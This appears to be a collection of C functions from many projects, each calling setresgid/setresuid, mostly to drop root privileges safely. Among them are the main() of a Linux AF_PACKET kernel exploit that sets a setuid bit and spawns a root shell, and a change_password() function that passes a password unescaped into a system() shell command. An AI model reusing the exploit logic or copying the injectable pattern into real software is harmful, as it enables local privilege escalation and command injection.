void relinquish_special_privs_perm(void) { /* * If we were started with special privileges, set the * real and effective group and user IDs to the original * values of the real and effective group and user IDs. * If we're not, don't bother - doing so seems to mung * our group set, at least in OS X 10.5. * * (Set the effective UID last - that takes away our * rights to set anything else.) */ if (started_with_special_privs()) { #ifdef HAVE_SETRESGID if (setresgid(rgid, rgid, rgid) == -1) {setxid_fail("setresgid");} #else if (setgid(rgid) == -1) {setxid_fail("setgid"); } if (setegid(rgid) == -1) {setxid_fail("setegid");} #endif #ifdef HAVE_SETRESUID if (setresuid(ruid, ruid, ruid) == -1) {setxid_fail("setresuid");} #else if (setuid(ruid) == -1) {setxid_fail("setuid"); } if (seteuid(ruid) == -1) {setxid_fail("seteuid");} #endif } }
/** * This functions changes from the superuser (root) to the user * specified in 'username'. Effectively dropping the priviledges * that this application have. */ static int ed_change_user(char const *username) { struct passwd *pw; gid_t gid; uid_t uid; pw = getpwnam(username); if (pw == NULL) { ed_log_error("cannot find user '%s' to switch to", progname, username); return ED_ERROR; } gid = pw->pw_gid; uid = pw->pw_uid; if (setgroups(1, &gid) != 0) { ed_log_error("setgroups failed"); return ED_ERROR; } if (setresgid(gid, gid, gid) != 0) { ed_log_error("%s: setting group id to user '%s' failed: %s\n", progname, username, strerror(errno)); return ED_ERROR; } if (setresuid(uid, uid, uid) != 0) { ed_log_error("%s: setting user id to user '%s' failed: %s\n", progname, username, strerror(errno)); return ED_ERROR; } return ED_OK; }
static void drop_privileges(struct passwd *pw) { int pair[2] = { -1, -1 }; if (geteuid()) fatalx("in order to drop privileges you need to have them!"); if (socketpair(AF_UNIX, SOCK_STREAM, PF_UNSPEC, pair) == -1) fatal("socketpair(2)"); switch ((privileged_pid = fork())) { case -1: fatal("forking unprivileged process"); /* NOTREACHED */ case 0: privsep_init(pair[0], pair[1]); setproctitle("[priv]"); exit(privileged_main()); /* NOTREACHED */ } privsep_init(pair[1], pair[0]); setproctitle("dhcp engine"); if (chroot(CHROOT_PATH) == -1) fatal("chroot(" CHROOT_PATH ") failed"); if (chdir("/") == -1) fatal("chdir inside chroot failed"); if (setgroups(1, &pw->pw_gid) || setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) || setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid)) fatal("can't drop privileges to " UNPRIVILEGED_USER); }
static void SetGidUid ( unsigned short rgid, unsigned short ruid ) { /* fix process gid */ #if defined(SVR4) || defined(_AIX) setgid(rgid); #elif defined(__osf__) || defined(linux) || defined(CSRG_BASED) if(-1 == setregid(rgid, rgid)) { fprintf(stderr, "SetGidUid: setregid failed on %d\n", rgid); } #elif defined(__hpux) setresgid(rgid, rgid, rgid); #else setregid(rgid, rgid, rgid); #endif /* fix process uid */ #if defined (SVR4) || defined (_AIX) setuid(ruid); #elif defined(__osf__) || defined(linux) || defined(CSRG_BASED) if(-1 == setreuid(ruid, ruid)) { fprintf(stderr, "SetGidUid: setreuid failed on %d\n", ruid); } #elif defined(__hpux) setresuid(ruid, ruid, ruid); #else setreuid(ruid, ruid, ruid); #endif }
int drop_privs(void) { struct passwd *pw; pw = getpwnam(NOPRIV_USER); if (pw == NULL) return (0); tzset(); #ifdef __NetBSD__ if (chroot(CHROOT_DIR) != 0 || chdir("/") != 0 || setgroups(1, &pw->pw_gid) != 0 || setgid(pw->pw_gid) != 0 || setuid(pw->pw_uid) != 0) return (0); #else if (chroot(CHROOT_DIR) != 0 || chdir("/") != 0 || setgroups(1, &pw->pw_gid) != 0 || setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0 || setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) return (0); #endif /* !__NetBSD__ */ return (1); }
static void allow(char *shell, mode_t mask) { struct su_initiator *from = &su_from; struct su_request *to = &su_to; char *exe = NULL; umask(mask); send_intent(&su_from, &su_to, "", 1, 1); if (!strcmp(shell, "")) { strcpy(shell , "/system/bin/sh"); } exe = strrchr (shell, '/') + 1; setresgid(to->uid, to->uid, to->uid); setresuid(to->uid, to->uid, to->uid); LOGD("%u %s executing %u %s using shell %s : %s", from->uid, from->bin, to->uid, to->command, shell, exe); if (strcmp(to->command, DEFAULT_COMMAND)) { execl(shell, exe, "-c", to->command, (char*)NULL); } else { execl(shell, exe, "-", (char*)NULL); } PLOGE("exec"); exit(EXIT_SUCCESS); }
static int chown_cgroup_wrapper(void *data) { struct chown_data *arg = data; char **slist = subsystems; int i, ret = -1; uid_t destuid; if (setresgid(0,0,0) < 0) SYSERROR("Failed to setgid to 0"); if (setresuid(0,0,0) < 0) SYSERROR("Failed to setuid to 0"); if (setgroups(0, NULL) < 0) SYSERROR("Failed to clear groups"); cgm_dbus_disconnect(); if (!cgm_dbus_connect()) { ERROR("Error connecting to cgroup manager"); return -1; } destuid = get_ns_uid(arg->origuid); if (cgm_supports_multiple_controllers) slist = subsystems_inone; for (i = 0; slist[i]; i++) { if (do_chown_cgroup(slist[i], arg->cgroup_path, destuid) < 0) { ERROR("Failed to chown %s:%s to container root", slist[i], arg->cgroup_path); goto fail; } } ret = 0; fail: cgm_dbus_disconnect(); return ret; }
int switch_run_group( char *new_group) { int rc = RC_NORMAL, sysrc; struct group *gr = 0; uid_t my_gid, my_egid, new_gid; /* --- */ my_gid = getgid(); my_egid = getegid(); gr = getgrnam( new_group); if( !gr) rc = ERR_SYS_CALL; else { new_gid = gr->gr_gid; if( my_gid != new_gid || my_egid != new_gid) { #ifdef __APPLE__ sysrc = setgid( new_gid); #else sysrc = setresgid( new_gid, new_gid, new_gid); #endif if( sysrc) rc = ERR_SYS_CALL; } } /* --- */ return( rc); }
int drop_privileges(uid_t uid, gid_t gid) { int ret; ret = setgroups(0, NULL); if (ret < 0) { ret = -errno; kdbus_printf("error setgroups: %d (%m)\n", ret); return ret; } ret = setresgid(gid, gid, gid); if (ret < 0) { ret = -errno; kdbus_printf("error setresgid: %d (%m)\n", ret); return ret; } ret = setresuid(uid, uid, uid); if (ret < 0) { ret = -errno; kdbus_printf("error setresuid: %d (%m)\n", ret); return ret; } return ret; }
int scheduler_api_dispatch(void) { struct passwd *pw; ssize_t n; pw = getpwnam(user); if (pw == NULL) { log_warn("scheduler-api: getpwnam"); fatalx("scheduler-api: exiting"); } if (rootpath) { if (chroot(rootpath) == -1) { log_warn("scheduler-api: chroot"); fatalx("scheduler-api: exiting"); } if (chdir("/") == -1) { log_warn("scheduler-api: chdir"); fatalx("scheduler-api: exiting"); } } if (setgroups(1, &pw->pw_gid) || setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) || setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid)) { log_warn("scheduler-api: cannot drop privileges"); fatalx("scheduler-api: exiting"); } imsg_init(&ibuf, 0); while (1) { n = imsg_get(&ibuf, &imsg); if (n == -1) { log_warn("warn: scheduler-api: imsg_get"); break; } if (n) { rdata = imsg.data; rlen = imsg.hdr.len - IMSG_HEADER_SIZE; scheduler_msg_dispatch(); imsg_flush(&ibuf); continue; } n = imsg_read(&ibuf); if (n == -1) { log_warn("warn: scheduler-api: imsg_read"); break; } if (n == 0) { log_warnx("warn: scheduler-api: pipe closed"); break; } } return (1); }
pid_t ca(void) { pid_t pid; struct passwd *pw; struct event ev_sigint; struct event ev_sigterm; switch (pid = fork()) { case -1: fatal("ca: cannot fork"); case 0: post_fork(PROC_CA); break; default: return (pid); } purge_config(PURGE_LISTENERS|PURGE_TABLES|PURGE_RULES); if ((pw = getpwnam(SMTPD_USER)) == NULL) fatalx("unknown user " SMTPD_USER); if (chroot(PATH_CHROOT) == -1) fatal("ca: chroot"); if (chdir("/") == -1) fatal("ca: chdir(\"/\")"); config_process(PROC_CA); if (setgroups(1, &pw->pw_gid) || setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) || setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid)) fatal("ca: cannot drop privileges"); imsg_callback = ca_imsg; event_init(); signal_set(&ev_sigint, SIGINT, ca_sig_handler, NULL); signal_set(&ev_sigterm, SIGTERM, ca_sig_handler, NULL); signal_add(&ev_sigint, NULL); signal_add(&ev_sigterm, NULL); signal(SIGPIPE, SIG_IGN); signal(SIGHUP, SIG_IGN); config_peer(PROC_CONTROL); config_peer(PROC_PARENT); config_peer(PROC_PONY); config_done(); /* Ignore them until we get our config */ mproc_disable(p_pony); if (event_dispatch() < 0) fatal("event_dispatch"); ca_shutdown(); return (0); }
/* * Permanently sets all uids to the given uid. This cannot be * called while temporarily_use_uid is effective. */ void permanently_set_uid(struct passwd *pw) { #ifndef HAVE_CYGWIN uid_t old_uid = getuid(); gid_t old_gid = getgid(); #endif if (pw == NULL) fatal("permanently_set_uid: no user given"); if (temporarily_use_uid_effective) fatal("permanently_set_uid: temporarily_use_uid effective"); debug("permanently_set_uid: %u/%u", (u_int)pw->pw_uid, (u_int)pw->pw_gid); if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) < 0) fatal("setresgid %u: %.100s", (u_int)pw->pw_gid, strerror(errno)); #ifdef __APPLE__ /* * OS X requires initgroups after setgid to opt back into * memberd support for >16 supplemental groups. */ if (initgroups(pw->pw_name, pw->pw_gid) < 0) fatal("initgroups %.100s %u: %.100s", pw->pw_name, (u_int)pw->pw_gid, strerror(errno)); #endif if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) < 0) fatal("setresuid %u: %.100s", (u_int)pw->pw_uid, strerror(errno)); #ifndef HAVE_CYGWIN /* Try restoration of GID if changed (test clearing of saved gid) */ if (old_gid != pw->pw_gid && pw->pw_uid != 0 && (setgid(old_gid) != -1 || setegid(old_gid) != -1)) fatal("%s: was able to restore old [e]gid", __func__); #endif /* Verify GID drop was successful */ if (getgid() != pw->pw_gid || getegid() != pw->pw_gid) { fatal("%s: egid incorrect gid:%u egid:%u (should be %u)", __func__, (u_int)getgid(), (u_int)getegid(), (u_int)pw->pw_gid); } #ifndef HAVE_CYGWIN /* Try restoration of UID if changed (test clearing of saved uid) */ if (old_uid != pw->pw_uid && (setuid(old_uid) != -1 || seteuid(old_uid) != -1)) fatal("%s: was able to restore old [e]uid", __func__); #endif /* Verify UID drop was successful */ if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid) { fatal("%s: euid incorrect uid:%u euid:%u (should be %u)", __func__, (u_int)getuid(), (u_int)geteuid(), (u_int)pw->pw_uid); } }
void change_password(char *password) { char cmd[128]; gid_t gid = getegid(); setresgid(gid, gid, gid); // C is too hard, so I did the password changing in Python. snprintf(cmd, sizeof(cmd), "python set_password.py \"%s\"", password); system(cmd); }
/* * This is used to reset the ugid back with the saved values * There is nothing much we can do checking error values here. */ static void resetugid(int suid, int sgid) { if (setresgid(-1, sgid, sgid) == -1) { abort(); } if (setresuid(-1, suid, suid) == -1) { abort(); } }
int rep_setegid(gid_t egid) { #ifdef HAVE_SETRESGID return setresgid(-1, egid, -1); #else errno = ENOSYS; return -1; #endif }
/* * from man 7 capabilities, section * Effect of User ID Changes on Capabilities: * If the effective user ID is changed from nonzero to 0, then the permitted * set is copied to the effective set. If the effective user ID is changed * from 0 to nonzero, then all capabilities are are cleared from the effective * set. * * The setfsuid/setfsgid man pages warn that changing the effective user ID may * expose the program to unwanted signals, but this is not true anymore: for an * unprivileged (without CAP_KILL) program to send a signal, the real or * effective user ID of the sending process must equal the real or saved user * ID of the target process. Even when dropping privileges, it is enough to * keep the saved UID to a "privileged" value and virtfs-proxy-helper won't * be exposed to signals. So just use setresuid/setresgid. */ static int setugid(int uid, int gid, int *suid, int *sgid) { int retval; /* * We still need DAC_OVERRIDE because we don't change * supplementary group ids, and hence may be subjected DAC rules */ cap_value_t cap_list[] = { CAP_DAC_OVERRIDE, }; *suid = geteuid(); *sgid = getegid(); if (setresgid(-1, gid, *sgid) == -1) { retval = -errno; goto err_out; } if (setresuid(-1, uid, *suid) == -1) { retval = -errno; goto err_sgid; } if (uid != 0 || gid != 0) { if (do_cap_set(cap_list, ARRAY_SIZE(cap_list), 0) < 0) { retval = -errno; goto err_suid; } } return 0; err_suid: if (setresuid(-1, *suid, *suid) == -1) { abort(); } err_sgid: if (setresgid(-1, *sgid, *sgid) == -1) { abort(); } err_out: return retval; }
int main(int argc, char **argv) { int status, pid; struct utsname u; char buf[512], *f; if (getuid() == 0 && geteuid() == 0) { chown("/proc/self/exe", 0, 0); chmod("/proc/self/exe", 06755); exit(0); } if (getuid() != 0 && geteuid() == 0) { setresuid(0, 0, 0); setresgid(0, 0, 0); execl("/bin/bash", "bash", "-p", NULL); exit(0); } dprintf("linux AF_PACKET race condition exploit by rebel\n"); dprintf("[.] starting\n"); dprintf("[.] checking hardware\n"); check_procs(); dprintf("[~] done, hardware looks good\n"); dprintf("[.] checking kernel version\n"); detect_versions(); dprintf("[~] done, version looks good\n"); #if ENABLE_KASLR_BYPASS dprintf("[.] KASLR bypass enabled, getting kernel base address\n"); KERNEL_BASE = get_kernel_addr(); dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE); #endif dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING); dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH); dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE); dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW); pid = fork(); if (pid == 0) { dprintf("[.] setting up namespace sandbox\n"); setup_sandbox(); dprintf("[~] done, namespace sandbox set up\n"); wrapper(); exit(0); } waitpid(pid, &status, 0); launch_rootshell(); return 0; }
int control(void) { struct passwd *pw; purge_config(PURGE_EVERYTHING); if ((pw = getpwnam(SMTPD_USER)) == NULL) fatalx("unknown user " SMTPD_USER); stat_backend = env->sc_stat; stat_backend->init(); if (chroot(PATH_CHROOT) == -1) fatal("control: chroot"); if (chdir("/") == -1) fatal("control: chdir(\"/\")"); config_process(PROC_CONTROL); if (setgroups(1, &pw->pw_gid) || setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) || setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid)) fatal("control: cannot drop privileges"); imsg_callback = control_imsg; event_init(); signal(SIGINT, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGHUP, SIG_IGN); tree_init(&ctl_conns); tree_init(&ctl_count); memset(&digest, 0, sizeof digest); digest.startup = time(NULL); config_peer(PROC_SCHEDULER); config_peer(PROC_QUEUE); config_peer(PROC_PARENT); config_peer(PROC_LKA); config_peer(PROC_PONY); config_peer(PROC_CA); control_listen(); if (pledge("stdio unix recvfd sendfd", NULL) == -1) err(1, "pledge"); event_dispatch(); fatalx("exited event loop"); return (0); }
pid_t monitor_init(void) { struct passwd *pw = getpwnam(SASYNCD_USER); extern char *__progname; char root[MAXPATHLEN]; int p[2]; if (socketpair(AF_UNIX, SOCK_STREAM, PF_UNSPEC, p) != 0) { log_err("%s: socketpair failed - %s", __progname, strerror(errno)); exit(1); } if (!pw) { log_err("%s: getpwnam(\"%s\") failed", __progname, SASYNCD_USER); exit(1); } strlcpy(root, pw->pw_dir, sizeof root); endpwent(); signal(SIGCHLD, got_sigchld); signal(SIGTERM, sig_to_child); signal(SIGHUP, sig_to_child); signal(SIGINT, sig_to_child); m_state.pid = fork(); if (m_state.pid == -1) { log_err("%s: fork failed - %s", __progname, strerror(errno)); exit(1); } else if (m_state.pid == 0) { /* Child */ m_state.s = p[0]; close(p[1]); if (chroot(pw->pw_dir) != 0 || chdir("/") != 0) { log_err("%s: chroot failed", __progname); exit(1); } if (setgroups(1, &pw->pw_gid) || setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) || setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid)) { log_err("%s: failed to drop privileges", __progname); exit(1); } } else { /* Parent */ setproctitle("[priv]"); m_state.s = p[1]; close(p[0]); } return m_state.pid; }
int main(int argc, char *argv[]) { int c, modnum = -1; char *modname = NULL; char *endptr; int devfd; gid_t gid; while ((c = getopt(argc, argv, "i:n:")) != -1) { switch (c) { case 'i': modnum = (int)strtol(optarg, &endptr, 0); if (modnum < 0 || modnum > INT_MAX || *endptr != '\0') errx(1, "%s: not a valid number", optarg); break; case 'n': modname = optarg; break; default: usage(); break; } } argc -= optind; argv += optind; if (argc != 0) usage(); /* * Open the virtual device device driver for exclusive use (needed * to ioctl() to retrive the loaded module(s) status). */ if ((devfd = open(_PATH_LKM, O_RDONLY)) == -1) err(2, "%s", _PATH_LKM); gid = getgid(); if (setresgid(gid, gid, gid) == -1) err(1, "setresgid"); printf("Type Id Off %-*s Size %-*s Rev Module Name\n", POINTERSIZE, "Loadaddr", POINTERSIZE, "Info"); if (modnum != -1 || modname != NULL) { if (dostat(devfd, modnum, modname)) exit(3); exit(0); } /* Start at 0 and work up until we receive EINVAL. */ for (modnum = 0; dostat(devfd, modnum, NULL) < 2; modnum++) ; exit(0); }
/* * Drops us into a chroot, if possible, and drops privs. */ static void drop_privileges() { struct passwd *user; struct rlimit limit; if (!geteuid()) { user = getpwnam("nobody"); if (!user) { perror("getpwnam"); exit(EXIT_FAILURE); } if (chroot("/var/empty")) { perror("chroot"); exit(EXIT_FAILURE); } if (chdir("/")) { perror("chdir"); exit(EXIT_FAILURE); } if (setresgid(user->pw_gid, user->pw_gid, user->pw_gid)) { perror("setresgid"); exit(EXIT_FAILURE); } if (setgroups(1, &user->pw_gid)) { perror("setgroups"); exit(EXIT_FAILURE); } if (setresuid(user->pw_uid, user->pw_uid, user->pw_uid)) { perror("setresuid"); exit(EXIT_FAILURE); } if (!geteuid() || !getegid()) { fprintf(stderr, "Mysteriously still running as root... Goodbye.\n"); exit(EXIT_FAILURE); } } limit.rlim_cur = limit.rlim_max = 4194304 /* 4 megs */; setrlimit(RLIMIT_DATA, &limit); setrlimit(RLIMIT_FSIZE, &limit); setrlimit(RLIMIT_MEMLOCK, &limit); setrlimit(RLIMIT_STACK, &limit); limit.rlim_cur = limit.rlim_max = 15728640 /* 15 megabytes */; setrlimit(RLIMIT_AS, &limit); limit.rlim_cur = limit.rlim_max = 0; setrlimit(RLIMIT_CORE, &limit); limit.rlim_cur = limit.rlim_max = 100; setrlimit(RLIMIT_NPROC, &limit); if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { perror("prctl(NO_NEW_PRIVS"); exit(EXIT_FAILURE); } }
int TetherController::startV6RtrAdv(int num_ifaces, char **ifaces, int table_number) { int pid; int num_processed_args = 1; gid_t groups [] = { AID_NET_ADMIN, AID_NET_RAW, AID_INET }; if ((pid = fork()) < 0) { ALOGE("%s: fork failed (%s)", __func__, strerror(errno)); return -1; } if (!pid) { char **args; const char *cmd = RTRADVDAEMON; args = (char **)calloc(num_ifaces * 3 + RTRADVDAEMON_ARGS_COUNT, sizeof(char *)); if (!args) { ALOGE("%s: failed to allocate memory", __func__); return -1; } args[0] = strdup(RTRADVDAEMON); int aidx = 0; for (int i=0; i < num_ifaces; i++) { aidx = 3 * i + num_processed_args; args[aidx++] = (char *)"-i"; args[aidx++] = ifaces[i]; args[aidx++] = (char *)"-x"; } if (table_number >= MIN_TABLE_NUMBER) { char table_name[MAX_TABLE_LEN]; unsigned int retval = 0; retval = snprintf(table_name, sizeof(table_name), "%d", table_number + BASE_TABLE_NUMBER); if (retval >= sizeof(table_name)) { ALOGE("%s: String truncation occured", __func__); } else { args[aidx++] = (char *)"-t"; args[aidx] = table_name; } } setgroups(sizeof(groups)/sizeof(groups[0]), groups); setresgid(AID_RADIO, AID_RADIO, AID_RADIO); setresuid(AID_RADIO, AID_RADIO, AID_RADIO); if (execv(cmd, args)) { ALOGE("Unable to exec %s: (%s)" , cmd, strerror(errno)); } free(args[0]); free(args); exit(0); } else { mRtrAdvPid = pid; ALOGD("Router advertisement daemon running"); } return 0; }
static void daemon_switch_group(gid_t real, gid_t effective, gid_t saved) { if ((setresgid(real, effective, saved) == -1) || !gid_verify(real, effective, saved)) { VLOG_FATAL("%s: failed to switch group to gid as %d, aborting", pidfile, gid); } }
int linux_setresgid16(struct proc *p, struct linux_setresgid16_args *args) { struct setresgid_args bsd; bsd.rgid = CAST_NOCHG(args->rgid); bsd.egid = CAST_NOCHG(args->egid); bsd.sgid = CAST_NOCHG(args->sgid); return (setresgid(p, &bsd)); }
pid_t ypldap_dns(int pipe_ntp[2], struct passwd *pw) { pid_t pid; struct event ev_sigint; struct event ev_sigterm; struct event ev_sighup; struct env env; switch (pid = fork()) { case -1: fatal("cannot fork"); break; case 0: break; default: return (pid); } setproctitle("dns engine"); close(pipe_ntp[0]); if (setgroups(1, &pw->pw_gid) || setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) || setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid)) fatal("can't drop privileges"); endservent(); if (pledge("stdio dns", NULL) == -1) fatal("pledge"); event_init(); signal_set(&ev_sigint, SIGINT, dns_sig_handler, NULL); signal_set(&ev_sigterm, SIGTERM, dns_sig_handler, NULL); signal_set(&ev_sighup, SIGHUP, dns_sig_handler, NULL); signal_add(&ev_sigint, NULL); signal_add(&ev_sigterm, NULL); signal_add(&ev_sighup, NULL); if ((env.sc_iev = calloc(1, sizeof(*env.sc_iev))) == NULL) fatal(NULL); env.sc_iev->events = EV_READ; env.sc_iev->data = &env; imsg_init(&env.sc_iev->ibuf, pipe_ntp[1]); env.sc_iev->handler = dns_dispatch_imsg; event_set(&env.sc_iev->ev, env.sc_iev->ibuf.fd, env.sc_iev->events, env.sc_iev->handler, &env); event_add(&env.sc_iev->ev, NULL); event_dispatch(); dns_shutdown(); return (0); }
int main(int argc, char **argv) { int lc; /* loop counter */ char *msg; /* message returned from parse_opts */ /* parse standard options */ if ((msg = parse_opts(argc, argv, (option_t *) NULL, NULL)) != (char *)NULL) { tst_brkm(TBROK, tst_exit, "OPTION PARSING ERROR - %s", msg); } setup(); /* check looping state if -i option is given */ for (lc = 0; TEST_LOOPING(lc); lc++) { /* reset Tst_count in case we are looping */ Tst_count = 0; for (testno = 0; testno < TST_TOTAL; ++testno) { TEST(setresgid(*tdat[testno].rgid, *tdat[testno].egid, *tdat[testno].sgid)); TEST_ERROR_LOG(TEST_ERRNO); if ((TEST_RETURN == EXP_RET_VAL) && (TEST_ERRNO == EXP_ERRNO)) { if (!test_functionality (tdat[testno].exp_rgid->pw_gid, tdat[testno].exp_egid->pw_gid, tdat[testno].exp_sgid->pw_gid)) { tst_resm(TPASS, "setresgid() failed as " "expected for %s : errno %d", TEST_DESC, TEST_ERRNO); } else { tst_resm(TFAIL, "Functionality test " "for setresgid() for %s failed", TEST_DESC); } } else { tst_resm(TFAIL, "setresgid() returned " "unexpected results for %s ; returned" " %ld (expected %d), errno %d (expected" " %d)", TEST_DESC, TEST_RETURN, EXP_RET_VAL, TEST_ERRNO, EXP_ERRNO); } } } cleanup(); /*NOTREACHED*/ return 0; }
/* change a Flag(*) value; takes care of special actions */ void change_flag(enum sh_flag f, int what, /* flag to change */ int newval) /* what is changing the flag (command line vs set) */ { int oldval; oldval = Flag(f); Flag(f) = newval; #ifdef JOBS if (f == FMONITOR) { if (what != OF_CMDLINE && newval != oldval) j_change(); } else #endif /* JOBS */ #ifdef EDIT if (0 # ifdef VI || f == FVI # endif /* VI */ # ifdef EMACS || f == FEMACS || f == FGMACS # endif /* EMACS */ ) { if (newval) { # ifdef VI Flag(FVI) = 0; # endif /* VI */ # ifdef EMACS Flag(FEMACS) = Flag(FGMACS) = 0; # endif /* EMACS */ Flag(f) = newval; } } else #endif /* EDIT */ /* Turning off -p? */ if (f == FPRIVILEGED && oldval && !newval) { gid_t gid = getgid(); setresgid(gid, gid, gid); setgroups(1, &gid); setresuid(ksheuid, ksheuid, ksheuid); } else if (f == FPOSIX && newval) { #ifdef BRACE_EXPAND Flag(FBRACEEXPAND) = 0 #endif /* BRACE_EXPAND */ ; } /* Changing interactive flag? */ if (f == FTALKING) { if ((what == OF_CMDLINE || what == OF_SET) && procpid == kshpid) Flag(FTALKING_I) = newval; } }
/* * do_write - actually make the connection */ void do_write(char *tty, char *mytty, uid_t myuid) { char *login, *nows; struct passwd *pwd; time_t now; char path[PATH_MAX], host[HOST_NAME_MAX+1], line[512]; gid_t gid; int fd; /* Determine our login name before the we reopen() stdout */ if ((login = getlogin()) == NULL) { if ((pwd = getpwuid(myuid))) login = pwd->pw_name; else login = "******"; } (void)snprintf(path, sizeof(path), "%s%s", _PATH_DEV, tty); fd = open(path, O_WRONLY, 0666); if (fd == -1) err(1, "open %s", path); fflush(stdout); if (dup2(fd, STDOUT_FILENO) == -1) err(1, "dup2 %s", path); if (fd != STDOUT_FILENO) close(fd); /* revoke privs, now that we have opened the tty */ gid = getgid(); if (setresgid(gid, gid, gid) == -1) err(1, "setresgid"); /* * Unfortunately this is rather late - well after utmp * parsing, then pinned by the tty open and setresgid */ if (pledge("stdio", NULL) == -1) err(1, "pledge"); (void)signal(SIGINT, done); (void)signal(SIGHUP, done); /* print greeting */ if (gethostname(host, sizeof(host)) < 0) (void)strlcpy(host, "???", sizeof host); now = time(NULL); nows = ctime(&now); nows[16] = '\0'; (void)printf("\r\n\007\007\007Message from %s@%s on %s at %s ...\r\n", login, host, mytty, nows + 11); while (fgets(line, sizeof(line), stdin) != NULL) wr_fputs(line); }
int main(void) { uid_t ruid = 13, euid = 13, suid = 13; gid_t rgid = 13, egid = 13, sgid = 13; int status; status = getresuid(&ruid, &euid, &suid); if (status != 0 || ruid != 0 || euid != 0 || suid != 0) { perror("getresuid"); fprintf(stderr, "%ld %ld %ld\n", (unsigned long) ruid, (unsigned long) euid, (unsigned long) suid); exit(EXIT_FAILURE); } status = getresgid(&rgid, &egid, &sgid); if (status != 0 || rgid != 0 || egid != 0 || sgid != 0) { perror("getresgid"); fprintf(stderr, "%ld %ld %ld\n", (unsigned long) ruid, (unsigned long) euid, (unsigned long) suid); exit(EXIT_FAILURE); } status = setresgid(1, 1, 1); if (status != 0) { perror("setresgid"); exit(EXIT_FAILURE); } status = getresgid(&rgid, &egid, &sgid); if (status != 0 || rgid != 1 || egid != 1 || sgid != 1) { perror("getresgid"); fprintf(stderr, "%ld %ld %ld\n", (unsigned long) rgid, (unsigned long) egid, (unsigned long) sgid); exit(EXIT_FAILURE); } if (status != 0 || rgid != 1 || egid != 1 || sgid != 1) { perror("getresgid"); fprintf(stderr, "%ld %ld %ld\n", (unsigned long) ruid, (unsigned long) euid, (unsigned long) suid); exit(EXIT_FAILURE); } status = setresuid(1, 1, 1); if (status != 0) { perror("setresuid"); exit(EXIT_FAILURE); } status = getresuid(&ruid, &euid, &suid); if (status != 0 || ruid != 1 || euid != 1 || suid != 1) { perror("getresuid"); fprintf(stderr, "%ld %ld %ld\n", (unsigned long) ruid, (unsigned long) euid, (unsigned long) suid); exit(EXIT_FAILURE); } exit(EXIT_SUCCESS); }
int main(int argc, char *argv[]) { /* We need to keep these env variables since systemd uses them for socket * activation */ static const char *keep_env[] = { "LISTEN_FDS", "LISTEN_PID", NULL }; const char *root, *cwd, *env, *uid_str, *gid_str, *exe; char **args; uid_t uid; gid_t *gids; size_t n_gids; exit_if(argc < 7, "Usage: %s /path/to/root /work/directory /env/file uid gid[,gid...] /to/exec [args ...]", argv[0]); root = argv[1]; cwd = argv[2]; env = argv[3]; uid_str = argv[4]; uid = atoi(uid_str); gid_str = argv[5]; args = &argv[6]; exe = args[0]; parse_gids(gid_str, &n_gids, &gids); load_env(env, keep_env); pexit_if(chroot(root) == -1, "Chroot \"%s\" failed", root); pexit_if(chdir(cwd) == -1, "Chdir \"%s\" failed", cwd); pexit_if(gids[0] > 0 && setresgid(gids[0], gids[0], gids[0]) == -1, "Setresgid \"%s\" failed", gid_str); pexit_if(n_gids > 1 && setgroups(n_gids - 1, &gids[1]) == -1, "Setgroups \"%s\" failed", gid_str); pexit_if(uid > 0 && setresuid(uid, uid, uid) == -1, "Setresuid \"%s\" failed", uid_str); /* XXX(vc): note that since execvp() is happening post-chroot, the * app's environment settings correctly affect the PATH search. * This is why execvpe() isn't being used, we manipulate the environment * manually then let it potentially affect execvp(). execvpe() simply * passes the environment to execve() _after_ performing the search, not * what we want here. */ pexit_if(execvp(exe, args) == -1 && errno != ENOENT && errno != EACCES, "Exec of \"%s\" failed", exe); diag(exe); return EXIT_FAILURE; }